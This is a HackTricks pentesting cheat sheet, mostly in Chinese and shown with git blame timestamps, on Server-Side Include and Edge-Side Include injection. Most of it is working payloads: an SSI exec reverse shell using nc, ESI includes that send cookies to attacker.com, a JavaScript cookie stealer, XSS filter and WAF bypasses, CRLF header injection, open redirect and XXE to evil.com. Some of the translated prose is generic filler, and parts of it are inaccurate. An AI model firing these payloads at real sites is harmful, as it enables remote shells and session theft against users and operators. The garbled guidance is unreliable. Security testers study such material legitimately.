hacktricks/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md

269 lines
15 KiB
Markdown
Raw Normal View History

2023-08-03 19:12:22 +00:00
# 服务器端包含/边缘端包含注入
2022-04-28 16:01:33 +00:00
<details>
2023-08-03 19:12:22 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
</details>
2023-08-03 19:12:22 +00:00
## 服务器端包含基本信息
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
SSI服务器端包含是指令它们**放置在HTML页面中在服务器上进行评估**,同时页面正在提供服务。它们允许您**向现有的HTML页面添加动态生成的内容**而无需通过CGI程序或其他动态技术提供整个页面。\
例如您可以将指令放入现有的HTML页面中如下所示
2021-06-07 09:30:58 +00:00
`<!--#echo var="DATE_LOCAL" -->`
2023-08-03 19:12:22 +00:00
当页面提供服务时,此片段将被评估并替换为其值:
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
`星期二2013年1月15日19:28:54 EST`
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
何时使用SSI以及何时完全由某个程序生成页面通常取决于页面的静态部分和每次提供页面时需要重新计算的部分。SSI是一种很好的方式来添加小块信息例如上面显示的当前时间。但是如果页面的大部分在提供服务时生成您需要寻找其他解决方案。定义来自[这里](https://httpd.apache.org/docs/current/howto/ssi.html))。
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
您可以推断出SSI的存在如果Web应用程序使用具有扩展名\*\* `.shtml`、`.shtm`或`.stm`\*\*的文件,但不仅限于此。
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
典型的SSI表达式具有以下格式
```
2021-06-07 09:30:58 +00:00
<!--#directive param="value" -->
```
2023-08-03 19:12:22 +00:00
### 检查
To check for Server-Side Inclusion (SSI) and Edge-Side Inclusion (ESI) Injection vulnerabilities, you can follow these steps:
1. **Identify user-controllable input**: Look for any input fields or parameters where the user can provide data that is later included in the server-side or edge-side code.
2. **Test for inclusion**: Inject a simple payload, such as `<!--#echo var="DATE_LOCAL" -->` for SSI or `<esi:include src="http://attacker.com/malicious.xml" />` for ESI, into the user-controllable input and see if it is included in the response.
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
3. **Observe the response**: If the payload is included and executed, it indicates a potential SSI or ESI Injection vulnerability.
2022-10-03 13:43:01 +00:00
2023-08-03 19:12:22 +00:00
4. **Exploit the vulnerability**: Once you have confirmed the vulnerability, you can proceed to exploit it by injecting more complex payloads to achieve your desired outcome. This may include executing arbitrary commands, accessing sensitive information, or performing other malicious actions.
5. **Mitigate the vulnerability**: Finally, it is important to fix the vulnerability by implementing proper input validation and sanitization techniques. This can include filtering user input, using parameterized queries, and applying output encoding to prevent code injection attacks.
By following these steps, you can effectively identify and exploit Server-Side Inclusion and Edge-Side Inclusion Injection vulnerabilities, and take the necessary steps to mitigate them.
2022-10-03 13:43:01 +00:00
```javascript
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
2021-06-07 09:30:58 +00:00
```
2023-08-03 19:12:22 +00:00
## 边缘端包含
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
在缓存信息或动态应用程序中存在一个问题因为内容的一部分可能在下次检索内容时发生变化。这就是ESI的用途通过使用ESI标签来指示在发送缓存版本之前需要生成的动态内容。\
如果攻击者能够在缓存内容中注入ESI标签那么他就可以在将文档发送给用户之前注入任意内容。
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
### ESI检测
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
以下来自服务器的响应中的**头部**表示服务器正在使用ESI
```
2021-06-07 09:30:58 +00:00
Surrogate-Control: content="ESI/1.0"
```
2023-08-03 19:12:22 +00:00
如果您找不到此标题,则服务器**可能仍在使用ESI**。\
也可以使用**盲目利用方法**,因为请求应该到达攻击者的服务器:
2022-10-03 13:43:01 +00:00
```javascript
// Basic detection
2023-08-03 19:12:22 +00:00
hell<!--esi-->o
2023-01-04 14:57:03 +00:00
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
2022-10-03 13:43:01 +00:00
// XSS Exploitation Example
2023-01-04 14:57:03 +00:00
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
2022-10-03 13:43:01 +00:00
// Cookie Stealer (bypass httpOnly flag)
2023-01-04 14:57:03 +00:00
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
2022-10-03 13:43:01 +00:00
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
2021-06-07 09:30:58 +00:00
```
2023-08-03 19:12:22 +00:00
### ESI利用
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
[GoSecure](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)创建了一个表格帮助我们了解可以针对不同支持ESI的软件尝试的可能攻击具体取决于支持的功能。首先让我们对下表中的列名进行一些解释
2022-10-03 13:43:01 +00:00
2023-08-03 19:12:22 +00:00
* **Includes**: 支持`<esi:includes>`指令
* **Vars**: 支持`<esi:vars>`指令。用于绕过XSS过滤器
* **Cookie**: 文档cookie对ESI引擎可访问
* **Upstream Headers Required**: 除非上游应用程序提供头部否则代理应用程序将不会处理ESI语句
* **Host Allowlist**: 在这种情况下只有来自允许的服务器主机的ESI包含才可能例如只有针对这些主机才可能进行SSRF攻击
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
| **软件** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
2022-10-03 13:43:01 +00:00
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
2023-08-03 19:12:22 +00:00
| Squid3 | 是 | 是 | 是 | 是 | 否 |
| Varnish Cache | 是 | 否 | 否 | 是 | 是 |
| Fastly | 是 | 否 | 否 | 否 | 是 |
| Akamai ESI Test Server (ETS) | 是 | 是 | 是 | 否 | 否 |
| NodeJS esi | 是 | 是 | 是 | 否 | 否 |
| NodeJS nodesi | 是 | 否 | 否 | 否 | 可选的 |
2022-10-03 13:43:01 +00:00
#### XSS
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
以下ESI指令将在服务器响应中加载任意文件
2021-06-07 09:30:58 +00:00
```markup
<esi:include src=http://attacker.com/xss.html>
```
2023-08-03 19:12:22 +00:00
文件_http://attacker.com/xss.html_可能包含一个XSS负载如`<script>alert(1)</script>`
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
#### 绕过客户端XSS保护
2021-06-07 09:30:58 +00:00
```markup
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
2023-01-04 14:57:03 +00:00
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
2021-06-07 09:30:58 +00:00
```
2023-08-03 19:12:22 +00:00
#### 盗取 Cookie
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
* 远程盗取 Cookie
2021-06-07 09:30:58 +00:00
```markup
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
2023-08-03 19:12:22 +00:00
* 通过在响应中反射XSS来窃取HTTP_ONLY的cookie
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
```html
<script>
var img = new Image();
img.src = "http://attacker.com/steal.php?cookie=" + document.cookie;
</script>
```
2023-01-04 14:57:03 +00:00
2023-08-03 19:12:22 +00:00
这段代码将创建一个新的图像对象并将cookie作为参数传递给攻击者的服务器。通过在受害者的浏览器中执行此代码攻击者可以窃取HTTP_ONLY的cookie。
2023-01-04 14:57:03 +00:00
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
```
<figure><img src="../.gitbook/assets/image (4) (7).png" alt=""><figcaption></figcaption></figure>
2023-01-04 14:57:03 +00:00
2023-08-03 19:12:22 +00:00
* 通过反射cookie实现完全接管账户
2023-01-04 14:57:03 +00:00
<figure><img src="../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
2023-08-03 19:12:22 +00:00
#### 私有本地文件
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
不要将其与“本地文件包含”混淆:
2021-06-07 09:30:58 +00:00
```markup
<esi:include src="secret.txt">
```
2022-10-03 13:43:01 +00:00
#### CRLF
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
CRLF (Carriage Return Line Feed) 是一种特殊字符序列用于表示文本文件中的换行。它由回车符CR和换行符LF组成。在某些情况下CRLF 可以被利用来进行服务器端包含SSI和边缘端包含ESI注入攻击。
SSI 注入攻击是一种利用服务器端包含漏洞的攻击技术。攻击者可以通过在用户输入中插入特殊字符序列(如 CRLF来注入恶意代码从而执行任意命令或获取敏感信息。
ESI 注入攻击是一种利用边缘端包含漏洞的攻击技术。攻击者可以通过在用户输入中插入特殊字符序列(如 CRLF来注入恶意代码从而执行任意命令或获取敏感信息。
为了防止 CRLF 注入攻击,开发人员应该对用户输入进行严格的验证和过滤,确保不允许插入特殊字符序列。此外,服务器端应该配置安全的默认响应头,以防止恶意代码的执行。
2021-06-07 09:30:58 +00:00
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
2023-08-03 19:12:22 +00:00
#### 开放重定向
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
以下代码将在响应中添加一个 `Location` 头部。
2023-01-04 14:57:03 +00:00
```bash
<!--esi $add_header('Location','http://attacker.com') -->
```
2023-08-03 19:12:22 +00:00
#### 添加头部
2023-01-04 14:57:03 +00:00
2023-08-03 19:12:22 +00:00
* 在强制请求中添加头部
2022-10-15 14:18:24 +00:00
```html
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
2023-08-03 19:12:22 +00:00
* 在响应中添加头部用于绕过带有XSS的响应中的“Content-Type: text/json”
2023-01-04 14:57:03 +00:00
```bash
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
```
<figure><img src="../.gitbook/assets/image (5) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
2023-01-04 14:57:03 +00:00
2023-08-03 19:12:22 +00:00
#### 在添加头部时使用CRLF**CVE-2019-2438)**
2022-10-15 14:18:24 +00:00
```markup
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
```
2023-08-03 19:12:22 +00:00
#### Akamai调试
2022-10-15 14:18:24 +00:00
2023-08-03 19:12:22 +00:00
这将发送包含在响应中的调试信息:
2021-06-07 09:30:58 +00:00
```markup
<esi:debug/>
```
2022-10-03 13:43:01 +00:00
### ESI + XSLT = XXE
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
还可以通过将`xslt`值指定给_dca_参数来添加基于\*\* **\_**可扩展样式表语言转换XSLT**\_** \*\*的ESI包含。以下包含将导致HTTP代理请求XML和XSLT文件。然后使用XSLT文件来过滤XML文件。可以使用此XML文件执行_XML外部实体XXE_攻击。这允许攻击者执行SSRF攻击但这并不是非常有用因为必须通过ESI包含来执行此操作而ESI本身就是一个SSRF向量。由于底层库Xalan不支持外部DTD解析因此无法提取本地文件。
2021-06-07 09:30:58 +00:00
```markup
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
2023-08-03 19:12:22 +00:00
XSLT文件
2021-06-07 09:30:58 +00:00
```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
2023-08-03 19:12:22 +00:00
查看XSLT页面
2021-06-07 11:31:39 +00:00
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
{% endcontent-ref %}
2021-06-07 11:31:39 +00:00
2023-08-03 19:12:22 +00:00
### 参考资料
2021-06-07 09:30:58 +00:00
* [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
* [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
2022-10-03 13:43:01 +00:00
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
2023-01-04 14:57:03 +00:00
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
2021-06-07 09:30:58 +00:00
2023-08-03 19:12:22 +00:00
## 暴力破解检测列表
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
</details>